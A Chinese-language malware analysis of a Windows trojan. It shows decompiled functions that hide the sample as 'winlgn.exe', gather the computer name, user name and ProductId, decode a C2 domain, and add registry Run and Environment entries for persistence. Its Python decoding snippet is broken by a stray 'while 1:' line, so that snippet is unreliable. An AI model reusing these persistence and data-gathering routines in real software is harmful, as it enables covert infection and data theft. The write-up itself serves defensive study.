逆向病毒

文件基础信息

属性
crc32 8C1CE91C
md5 73c297f059dd94671ca4e4c7dbfa6241
sha1 f9d5e6003715fbe3ccdf78a8bef866ebc876c85f
sha256 dcb8531b0879d46949dd63b1ac094f5588c26867805d0795e244f4f9b8077ed1
sha512 48db5c5b73bd824bf2ec3b398aea73c6ec93f519efcdc1528d8a91f32dcdbb428f539e6cb031416c8a2f551ec089993dd71a8bdae6530dd82bd4293e759dd402
ssdeep 1536:rUUBxlaaqYV/VnvjIM3S9r8DzeEn5gairxh:DMbYkgjn5Qrf
type PE32 executable (GUI) Intel 80386, for MS Windows

主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// WinMain 入口函数
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HWND Window; // 窗口句柄
HWND v5; // 加速器句柄
HACCEL AcceleratorsA; // 加速器表
void *v7; // 内存分配指针
void *v8; // 用于释放内存的指针
struct tagMSG Msg; // 消息结构体

// 加载窗口名称和类名
LoadStringA(hInstance, 0x67u, WindowName, 100);
LoadStringA(hInstance, 0x6Du, ClassName, 100);

// 执行某些初始化或设置操作
sub_402920();

// 将全局 hInstance 设置为传入的 hInstance
::hInstance = hInstance;

// 创建窗口
Window = CreateWindowExA(0, ClassName, WindowName, 0xCF0000u, 0x80000000, 0, 0x80000000, 0, 0, 0, hInstance, 0);
v5 = Window;

// 如果窗口创建失败,则返回 0
if (!Window)
return 0;

// 显示窗口
ShowWindow(Window, 0);

// 更新窗口
UpdateWindow(v5);

// 加载加速器表
AcceleratorsA = LoadAcceleratorsA(hInstance, (LPCSTR)0x6D);

// 分配一块内存,但立即释放
v7 = malloc(0x5F5E100u);
v8 = v7;
if (v7)
{
memset(v7, 0, 0x5F5E100u);
free(v8);
// 执行某些清理操作
sub_401130();
}

// 进入消息循环
while (GetMessageA(&Msg, 0, 0, 0))
{
// 如果消息是加速器消息,则翻译并执行对应的命令
if (!TranslateAcceleratorA(Msg.hwnd, AcceleratorsA, &Msg))
{
// 否则,将消息转换为字符消息,并分派给窗口过程函数处理
TranslateMessage(&Msg);
DispatchMessageA(&Msg);
}
}

// 返回退出码
return Msg.wParam;
}

sub_402920

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 注册窗口类的函数
// Parameters:
// a1: 实例句柄,用于标识应用程序的实例
// Returns:
// 注册窗口类的原子值
ATOM __usercall sub_402920@(HINSTANCE a1)
{
// 定义一个窗口类结构体变量
WNDCLASSEXA v2; // [esp+4h] [ebp-30h] BYREF

// 设置结构体的大小
v2.cbSize = 48;
// 设置窗口类的样式
v2.style = 3;
// 设置窗口过程函数指针
v2.lpfnWndProc = sub_4029B0;
// 设置额外的类空间
v2.cbClsExtra = 0;
// 设置额外的窗口空间
v2.cbWndExtra = 0;
// 设置窗口类所属的实例句柄
v2.hInstance = a1;
// 加载大图标资源
v2.hIcon = LoadIconA(a1, (LPCSTR)0x6B);
// 加载光标资源
v2.hCursor = LoadCursorA(0, (LPCSTR)0x7F00);
// 设置窗口背景画刷句柄
v2.hbrBackground = (HBRUSH)6;
// 设置菜单资源的 ID
v2.lpszMenuName = (LPCSTR)109;
// 设置窗口类名
v2.lpszClassName = ClassName;
// 加载小图标资源
v2.hIconSm = LoadIconA(v2.hInstance, (LPCSTR)0x6C);
// 注册窗口类并返回结果
return RegisterClassExA(&v2);
}

这个函数注册了一个窗口

下面再分析一下窗口过程函数

sub_4029B0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// 处理窗口消息的回调函数
LRESULT __stdcall sub_4029B0(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
struct tagPAINTSTRUCT Paint; // 绘制结构体

// 如果消息类型小于等于0xF,处理基本的系统消息
if ( Msg <= 0xF )
{
switch ( Msg )
{
// 处理窗口重绘消息
case 0xFu:
BeginPaint(hWnd, &Paint); // 开始绘制
EndPaint(hWnd, &Paint); // 结束绘制
return 0; // 消息已处理,返回0
// 处理定时器消息
case 1u:
SetTimer(hWnd, 1u, 0x1770u, TimerFunc); // 设置定时器
return 0; // 消息已处理,返回0
// 处理窗口关闭消息
case 2u:
PostQuitMessage(0); // 通知应用程序退出
return 0; // 消息已处理,返回0
}
return DefWindowProcA(hWnd, Msg, wParam, lParam); // 其他基本系统消息,调用默认处理函数
}

// 如果消息类型大于0xF,处理自定义应用程序消息
if ( Msg != 273 ) // 检查是否是自定义消息
return DefWindowProcA(hWnd, Msg, wParam, lParam); // 不是自定义消息,调用默认处理函数
if ( (unsigned __int16)wParam == 104 ) // 自定义消息值为104
{
DialogBoxParamA(hInstance, (LPCSTR)0x67, hWnd, DialogFunc, 0); // 弹出对话框
return 0; // 消息已处理,返回0
}
else if ( (unsigned __int16)wParam == 105 ) // 自定义消息值为105
{
DestroyWindow(hWnd); // 销毁窗口
return 0; // 消息已处理,返回0
}
else
{
return DefWindowProcA(hWnd, 0x111u, wParam, lParam); // 其他自定义消息,调用默认处理函数
}
}

sub_401130

这个函数是用来创建隐藏目录并复制一些文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
int sub_401130()
{
int v0; // eax
char v1; // cl
const char *v2; // eax
int v3; // ecx
char v4; // dl
CHAR *v5; // eax
int v6; // ecx
CHAR *v7; // edx
BYTE *v8; // ecx
CHAR *v9; // eax
bool v10; // cf
unsigned __int8 v11; // dl
int v12; // eax

// 创建一个名称为'Path'的目录
_mkdir((const char *)Path);
// 将目录的文件属性设置为'2u'
SetFileAttributesA((LPCSTR)Path, 2u);

// 将'Path'中的每个字符复制到'byte_413298'中,直到遇到空终止符
v0 = 0;
do
{
v1 = Path[v0];
byte_413298[v0++] = v1;
}
while ( v1 );

// 获取一个字符串"oDbdi"并将其存储在'v2'中
v2 = sub_4026E0("oDbdi", 1); // nCach
// 将"\\"附加到'Path'末尾
*(_WORD *)&Path[strlen((const char *)Path)] = '\\';
// 将"\\"附加到'byte_413298'末尾
*(_WORD *)&byte_413298[strlen(byte_413298)] = '\\';

// 将'byte_413298'中的每个字符复制到'byte_4133A0'中,直到遇到空终止符
v3 = 0;
do
{
v4 = byte_413298[v3];
byte_4133A0[v3++] = v4;
}
while ( v4 );

// 将存储在'v2'中的字符串连接到'byte_4133A0'中
strcat(byte_4133A0, v2);
// 将字符串"xjomho/fyf"连接到'Path'中
strcat((char *)Path, sub_4026E0("xjomho/fyf", 1)); // winlgn.exe // 这个是木马创建的文件

// 调用函数sub_401740()
sub_401740();

// 获取当前模块的文件名并将其存储在'Filename'中
GetModuleFileNameA(0, Filename, 0x104u);

// 如果文件名与'Path'不同,并且无法以只读模式打开文件,则调用sub_402740()
if ( strcmp(Filename, (const char *)Path) && !fopen((const char *)Path, "rb") )
sub_402740();

// 当WSAStartup()返回非零值时,持续睡眠
while ( WSAStartup(0x202u, &stru_412D00) )
Sleep(0x1388u);

// 初始化pHints结构体的一些成员
pHints.ai_flags = 0;
pHints.ai_addrlen = 0;
pHints.ai_canonname = 0;
pHints.ai_addr = 0;
pHints.ai_next = 0;
pHints.ai_family = 0;
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;

// 获取一个字符串"pomjofkpiomjof::/psh"并将其存储在'v5'中
v5 = sub_4026E0("pomjofkpiomjof::/psh", 1); // onlinejohnline99.org
v7 = pNodeName;
do
{
LOBYTE(v6) = *v5;
*v7++ = *v5++;
}
while ( (_BYTE)v6 );

// 调用函数sub_401570(),传入参数v6和v7
sub_401570(v6, v7);

// 用循环比较'Path'和'Filename'中的字符,直到出现不相等的字符或遇到空终止符为止
v8 = Path;
v9 = Filename;
while ( 1 )
{
v10 = (unsigned __int8)*v9 < *v8;
if ( *v9 != *v8 )
break;
if ( !*v9 )
goto LABEL_17;
v11 = v9[1];
v10 = v11 < v8[1];
if ( v11 != v8[1] )
break;
v9 += 2;
v8 += 2;
if ( !v11 )
{
LABEL_17:
v12 = 0;
goto LABEL_19;
}
}
// 如果循环结束时v12为非零值,则调用sub_401360(v8)
v12 = -v10 - (v10 - 1);
LABEL_19:
if ( v12 )
sub_401360(v8);
return 0;
}

该函数的主要作用是在指定目录下创建一个隐藏目录,并将一些文件复制到该目录中,然后比较当前模块的文件路径与指定路径,如果不同,则执行一些额外的操作。

下面再分析一下函数 sub_4026E0

sub_4026E0

这个函数是为了简单加密字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
_BYTE *__usercall sub_4026E0@<eax>(const char *a1@<eax>, char a2)
// 定义一个函数 sub_4026E0,接受一个字符串和一个字符作为参数,用于简单加密字符串
// @param a1: 输入字符串的指针
// @param a2: 加密密钥字符
// @return: 返回加密后字符串的指针

{
int v3; // 存储字符串的长度
_BYTE *v4; // 存储动态分配的内存空间的地址
_BYTE *v5; // 用于遍历加密后的字符串
const char *v6; // 用于遍历原始字符串
int v7; // 字符串的长度计数

v3 = strlen(a1); // 获取字符串长度
v4 = malloc(v3 + 1); // 动态分配内存空间,大小为字符串长度加1(用于存储结束符)

// 如果字符串长度小于等于0,直接返回空字符串
if (v3 <= 0) {
*v4 = 0;
return v4;
} else {
v5 = v4; // 初始化加密后字符串的指针
v6 = (const char *)(a1 - v4); // 获取原始字符串的起始位置
v7 = v3; // 初始化字符串的长度计数

// 对原始字符串进行简单加密操作
do {
*v5 = v5[(_DWORD)v6] - a2; // 将原始字符串中的每个字符减去密钥字符
++v5; // 移动到下一个字符位置
--v7; // 更新字符串长度计数
} while (v7); // 循环直到字符串结束

v4[v3] = 0; // 在加密后字符串的末尾添加结束符
return v4; // 返回加密后字符串的指针
}
}

接受一个字符串和一个字符作为参数,然后将字符串中的每个字符减去给定的字符(密钥),从而对字符串进行加密。加密后的字符串存储在动态分配的内存空间中,并返回指向该内存空间的指针。

实际上在这里秘钥是 1,所以加密后的字符串就是原始字符串的 ASCII 码每个字符减去 1。

下面是等效的 Python 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while 1:

def decrypt_ascii_1(ciphertext, key):
plaintext = ""
for char in ciphertext:
decrypted_char = chr(ord(char) - key)
plaintext += decrypted_char
return plaintext

# 输入你的ASCII-1加密密文和密钥
ciphertext = input("请输入要解密的ASCII-1加密密文:")
key = 1

# 解密并输出明文
plaintext = decrypt_ascii_1(ciphertext, key)
print("解密后的明文:", plaintext)

下面再分析一下函数 sub_401740

sub_401740

这个函数是为了获取计算机名、用户名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int sub_401740()
{
DWORD nSize; // 存储要获取的字符串的大小
DWORD pcbData; // 存储注册表数据的大小
DWORD pcbBuffer; // 存储要获取的用户名称的大小

// 获取计算机名称,并存储在Buffer中
nSize = 255;
GetComputerNameA(Buffer, &nSize);

// 获取注册表中的产品名称,并存储在unk_413AD0中
pcbData = 0x2000;
RegGetValueA(
HKEY_LOCAL_MACHINE, // 主键
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", // 子键路径
"ProductName", // 值名称
0xFFFFu, // 标志,指定数据类型
0, // 保留
&unk_413AD0, // 存储获取的值
&pcbData); // 获取的值的大小

// 获取用户名称,并存储在byte_412F90中
pcbBuffer = 255;
GetUserNameA(byte_412F90, &pcbBuffer);

return 0; // 返回值
}

该函数的主要作用是获取计算机名、用户名,并将它们保存到全局变量中。

下面再分析一下函数 sub_402740

sub_402740

这个函数是为了复制文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int sub_402740()
{
errno_t v0; // 用于存储第一个文件打开的错误码
errno_t v1; // 用于存储第二个文件打开的错误码
int i; // 用于存储每次读取的字符

FILE *Stream; // 第一个文件的文件指针
FILE *v5; // 第二个文件的文件指针

// 尝试以只读模式打开第一个文件
v0 = fopen_s(&Stream, Filename, "rb");
// 尝试以写入模式打开第二个文件
v1 = fopen_s(&v5, (const char *)Path, "wb");

// 如果第一个文件打开失败,则返回错误码 -1
if (v0)
return -1;

// 如果第二个文件打开失败,则关闭第一个文件,并返回错误码 -1
if (v1)
{
fclose(Stream);
return -1;
}

// 循环读取第一个文件的内容,并将其写入到第二个文件中,直到到达文件末尾
for (i = fgetc(Stream); !feof(Stream); i = fgetc(Stream))
fputc(i, v5);

// 关闭文件流
fclose(v5);
fclose(Stream);

// 返回成功码 0
return 0;
}

这个函数的作用是将一个文件的内容复制到另一个文件中,如果其中一个文件打开失败,则返回 -1。

下面再分析一下函数 sub_401570

sub_401570

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
char *sub_401570()
{
unsigned int v0; // 用于存储字符串长度
BYTE *v1; // 用于存储数据的指针
HKEY phkResult; // 用于操作注册表键的句柄
DWORD cbData; // 用于存储数据的字节数
DWORD Type; // 用于存储数据的类型
BYTE Data[1024]; // 用于存储注册表数据的缓冲区

// 尝试打开注册表中的键
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, 0x101u, &phkResult) )
{
// 如果打开失败,则将 Buffer 和 "@!" 追加到 byte_4137C0 中
strcat(byte_4137C0, Buffer);
strcat(byte_4137C0, "@!");
// 计算 byte_412F90 的长度并加 1
v0 = strlen(byte_412F90) + 1;
v1 = (BYTE *)byte_412F90; // 将 byte_412F90 的地址赋给 v1
}
else
{
// 如果成功打开注册表键,则查询 "ProductId" 的值并将其存储在 Data 中
cbData = 1023;
RegQueryValueExA(phkResult, "ProductId", 0, &Type, Data, &cbData);
RegCloseKey(phkResult); // 关闭注册表键
// 将 Buffer、"##"、byte_412F90 和 "@@" 追加到 byte_4137C0 中
strcat(byte_4137C0, Buffer);
strcat(byte_4137C0, "##");
strcat(byte_4137C0, byte_412F90);
strcat(byte_4137C0, "@@");
v0 = strlen((const char *)Data) + 1; // 计算 Data 的长度并加 1
v1 = Data; // 将 Data 的地址赋给 v1
}
// 将 v1 指向的 v0 字节的数据复制到 byte_4137C0 中
qmemcpy(&byte_4137C0[strlen(byte_4137C0)], v1, v0);
return byte_4137C0; // 返回 byte_4137C0 的指针
}

从注册表中获取 “ProductId” 值,然后将一些字符串连接起来,并返回结果。

再看看 sub_401360

sub_401360

这个函数是为了保活

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int sub_401360()
{
const CHAR *v0; // 指向注册表键名的指针
const CHAR *v1; // 指向注册表值名的指针
char *v2; // 字符串缓冲区指针
HKEY phkResult; // 存储打开的注册表键的句柄
LPCSTR lpSubKey; // 存储注册表子键路径的指针
const CHAR *v6; // 指向注册表值名的指针

// 获取注册表子键路径并存储在lpSubKey中
lpSubKey = sub_4026E0("Tpguxbsf]Njdsptpgu", 1); //解密之后是Software\Microsoft
strcat((char *)lpSubKey, sub_4026E0("]Xjoepxt]Dvssfouwfstjpo]", 1)); //解密之后是\Windows\Currentversion
*(_DWORD *)&lpSubKey[strlen(lpSubKey)] = 7238994;

// 获取注册表值名并存储在v0中
v0 = sub_4026E0("Efgbvmu2", 1); //Default1
// 获取注册表值名并存储在v1中
v1 = sub_4026E0("TfU", 1); //Set
// 存储原始的注册表值名以备后用
v6 = v1;

// 如果注册表中没有指定的注册表值,则执行以下操作
if (RegQueryValueExA(0, v0, 0, 0, 0, 0))
{
// 构建字符串并存储在v2中
v2 = sub_4026E0("dne", 1);
strcat(v2, sub_4026E0("!0d!tubsu!&TfU&!", 1)); // /c start %SeT%
strcat(v2, sub_4026E0("''!", 1)); //&&
strcat(v2, "exit");
// 打开注册表键
RegOpenKeyExA(HKEY_CURRENT_USER, lpSubKey, 0, 0xF003Fu, &phkResult);
// 设置注册表值
RegSetValueExA(phkResult, v0, 0, 1u, (const BYTE *)v2, strlen(v2));
// 关闭注册表键
RegCloseKey(phkResult);
// 恢复注册表值名为原始值
v1 = v6;
}

// 如果注册表中没有指定的注册表值,则执行以下操作
if (RegQueryValueExA(0, v1, 0, 0, 0, 0))
{
// 打开注册表键
RegOpenKeyExA(HKEY_CURRENT_USER, "Environment", 0, 0xF003Fu, &phkResult);
// 设置注册表值
RegSetValueExA(phkResult, v1, 0, 1u, Path, strlen((const char *)Path));
// 关闭注册表键
RegCloseKey(phkResult);
}
return 0; // 返回值
}

操作 Windows 注册表,为了保活,设置了一些注册表键值。